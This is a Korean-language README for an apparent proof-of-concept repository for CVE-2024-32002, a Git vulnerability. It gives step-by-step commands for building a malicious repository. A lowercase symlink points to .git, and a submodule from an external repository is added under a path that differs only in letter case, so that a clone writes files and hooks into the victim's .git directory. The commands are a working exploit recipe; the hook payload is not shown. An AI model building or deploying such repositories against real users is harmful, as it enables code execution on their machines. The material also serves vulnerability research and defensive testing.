CVE-2024-32002 PRC AW

CVE-2024-32002의 POC로, .git 디렉토리에 임의 쓰기를 시연합니다.

관련 서브모듈 저장소: cve-2024-32002-submodule-aw

이 저장소에 포함된 내용

• .git 디렉토리를 가리키는 임의의 이름을 가진 심볼릭 링크.
• 악의적인 서브모듈을 정의하는 .gitmodules 파일.

이 저장소를 재현하는 방법

이 저장소는 Linux(WSL2)에서 생성되었습니다. 대소문자를 구분하는 파일 시스템에서만 악의적인 저장소를 생성할 수 있습니다.

1. 모든 소문자를 사용하여 심볼릭 링크 생성

ln -s .git submodule

참고:

• 심볼릭 링크는 .git 폴더를 가리켜야 합니다. 파일을 쓰려는 위치이기 때문입니다.
• 심볼릭 링크 이름(submodule)은 임의적이지만 소문자로 시작해야 합니다.
• 소문자는 대문자보다 먼저 정렬되므로 중요합니다. 복제 머신이 서브모듈 파일을 어디에 쓸지 혼란스러울 때, 일반 디렉토리 대신 심볼릭 링크를 선택하도록 하기 위함입니다.

2. 서브모듈 디렉토리 이름의 대소문자 차이를 주의하며 악의적인 서브모듈 추가

git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists

참고:

• 서브모듈의 이름은 중요하며, 서브모듈에 훅을 배치할 때 영향을 줍니다.
• 서브모듈 경로의 첫 번째 세그먼트("Submodule")는 위의 심볼릭 링크 이름과 대소문자만 달라야 합니다.